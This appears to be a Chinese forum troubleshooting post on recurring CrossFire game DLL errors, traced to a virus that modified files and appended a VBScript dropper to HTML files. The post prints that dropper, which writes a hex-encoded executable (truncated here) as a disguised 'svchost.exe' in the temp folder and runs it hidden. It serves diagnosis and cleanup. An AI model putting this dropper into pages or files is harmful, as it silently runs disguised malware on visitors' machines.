最近出现CF游戏文件反复报错,修复更新后正常, 但是没过多久,可能又来了,反反复复。经过确认发现问题所在,这里分享给大家!
【现象】
穿越火线提示talxxx.dll文件报错;如图:
 
【原因】
由于文件被捆绑插入代码或文件异常导致CF加载文件无法通过校验,提示的报错。
【处理方法】
更新服务器上杀毒、或客户机上杀毒。
【解决过程】
1、文件修复更新后,重启客户机可以正常进入游戏。但是过一段时间问题又来了。
2、使用Process monitor查看,发现IE浏览器不停的在对文件进行修改。但是自己没有运行IE浏览器,使用进程管理器发现进程里有IE浏览器的进程。结束后,修复更新游戏正常。
3、怀疑是中毒了,使用360查毒后确实发现一堆病毒。而且几乎感染了系统里所有的html文件,以及部分dll、exe文件。
4、并对会对所有的html文件末端,插入一窜代码,具体代码如下:
  1. <SCRIPT Language=VBScript><!--  
  2. DropFileName = "svchost.exe"                                                 
  3. WriteData = "4D5A90000300000004000000F...........................此处省去那个字段...
  4. Set FSO = CreateObject("Scripting.FileSystemObject")
  5. DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName
  6. If FSO.FileExists(DropPath)=False Then
  7. Set FileObj = FSO.CreateTextFile(DropPath, True)
  8. For i = 1 To Len(WriteData) Step 2
  9. FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
  10. Next
  11. FileObj.Close
  12. End If
  13. Set WSHshell = CreateObject("WScript.Shell")
  14. WSHshell.Run DropPath, 0
  15. //--></SCRIPT>
复制代码
从这段代码上看,主要是创建一个 svchost.exe文件,然后把“WriteData”的代码写入到这个文件中,最后运行这个exe程序。至于这个程序主要做什么操作,没有做研究。
最终解决方法,对系统进行杀毒。